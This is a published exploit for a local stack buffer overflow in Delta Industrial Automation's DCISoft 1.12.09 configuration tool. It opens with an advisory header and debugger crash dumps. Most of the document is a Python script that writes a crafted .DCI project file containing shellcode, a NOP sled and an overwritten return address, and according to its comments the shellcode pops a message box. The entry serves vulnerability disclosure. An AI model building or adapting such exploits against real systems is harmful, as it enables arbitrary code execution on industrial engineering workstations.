Delta Industrial Automation DCISoft 1.12.09 – Local Stack Buffer Overflow
#!/usr/bin/env python # # # Delta Industrial Automation DCISoft 1.12.09 Stack Buffer Overflow Exploit # # # Vendor: Delta Electronics, Inc. # Product web page: http://www.delta.com.tw # Software link: http://www.delta.com.tw/product/em/download/download_main.asp?act=3&pid=3&cid=5&tpid=3 # Affected version: 1.12.09 (Build 12102014) # # Summary: DCISoft is a integrated configuration tool of Delta # network modules (DVPEN01-SL, RTU-EN01, IFD9506, IFD9507, DVPSCM12-SL, # DVPSCM52-SL) for WINDOWS operation system. # # Desc: The vulnerability is caused due to a boundary error in # the processing of a project file, which can be exploited to # cause a stack based buffer overflow when a user opens e.g. a # specially crafted .DCI file. Successful exploitation allows # execution of arbitrary code on the affected machine. # # ---------------------------------------------------------------------------- # (1554.1830): Access violation - code c0000005 (!!! second chance !!!) # eax=00000001 ebx=0018f684 ecx=44444444 edx=777a4a20 esi=0018f65c edi=777a4a20 # eip=73d34b64 esp=0018cdd8 ebp=0018cdec iopl=0 nv up ei pl nz na po nc # cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 # MFC42!Ordinal2740+0x88: # 73d34b64 8b01 mov eax,dword ptr [ecx] ds:002b:44444444=???????? # 0:000> d esp # 0018cdd8 1c f6 18 00 a8 a5 47 00-01 00 00 00 01 00 00 00 ......G......... # 0018cde8 5c f6 18 00 fc cd 18 00-a4 59 41 00 e1 b5 85 88 \........YA..... # 0018cdf8 5c f6 18 00 d8 f8 18 00-fa 38 41 00 84 f6 18 00 \........8A..... # 0018ce08 c8 8f 74 02 e8 1f 7c 02-04 ce 18 00 c8 8f 74 02 ..t...|.......t. # 0018ce18 04 ce 18 00 44 44 44 44-44 44 44 44 44 44 44 44 ....DDDDDDDDDDDD # 0018ce28 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD # 0018ce38 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD # 0018ce48 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD # -- # (11bc.1394): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # Defaulted to export symbols for C:\Program Files (x86)\Delta Industrial Automation\Communication\DCISoft 1.12\MFC42.DLL - # eax=0018cdfc ebx=0018f684 ecx=0018cdec edx=ce085164 esi=0018f65c edi=31f7ae9c # eip=43434343 esp=0018cdcc ebp=0018cdec iopl=0 nv up ei pl nz ac pe cy # cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210217 # 43434343 ?? ??? # ---------------------------------------------------------------------------- # # Tested on: Microsoft Windows 7 Professional SP1 (EN) # Microsoft Windows 7 Ultimate SP1 (EN) # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2016-5305 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5305.php # # # 13.11.2015 # sc = ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x65\x64" "\x21\x01\x68\x20\x50\x77\x6e\x68\x20\x5a\x53\x4c\x89\xe1\xfe" "\x49\x0b\x31\xc0\x51\x50\xff\xd7") buffer = "\x41" * 156 # align buffer += "\x3c\xce\x18\x00" # eip - jmp esp+49h buffer += "\x90" * 15 # nopsled buffer += sc # 113 bytes messagebox shellcode buffer += "\x44" * 7926 # extra shellcode space buffer += "\xec\xcd\x18\x00" # overwrite data segment to control eip - mov eax,dword ptr [ecx] buffer += "\x45" * 2203 # padding to fix 10421 bytes f = open ("Detachment.dci", "w") f.write(buffer) f.close() print "File Detachment.dci successfully created!\n" |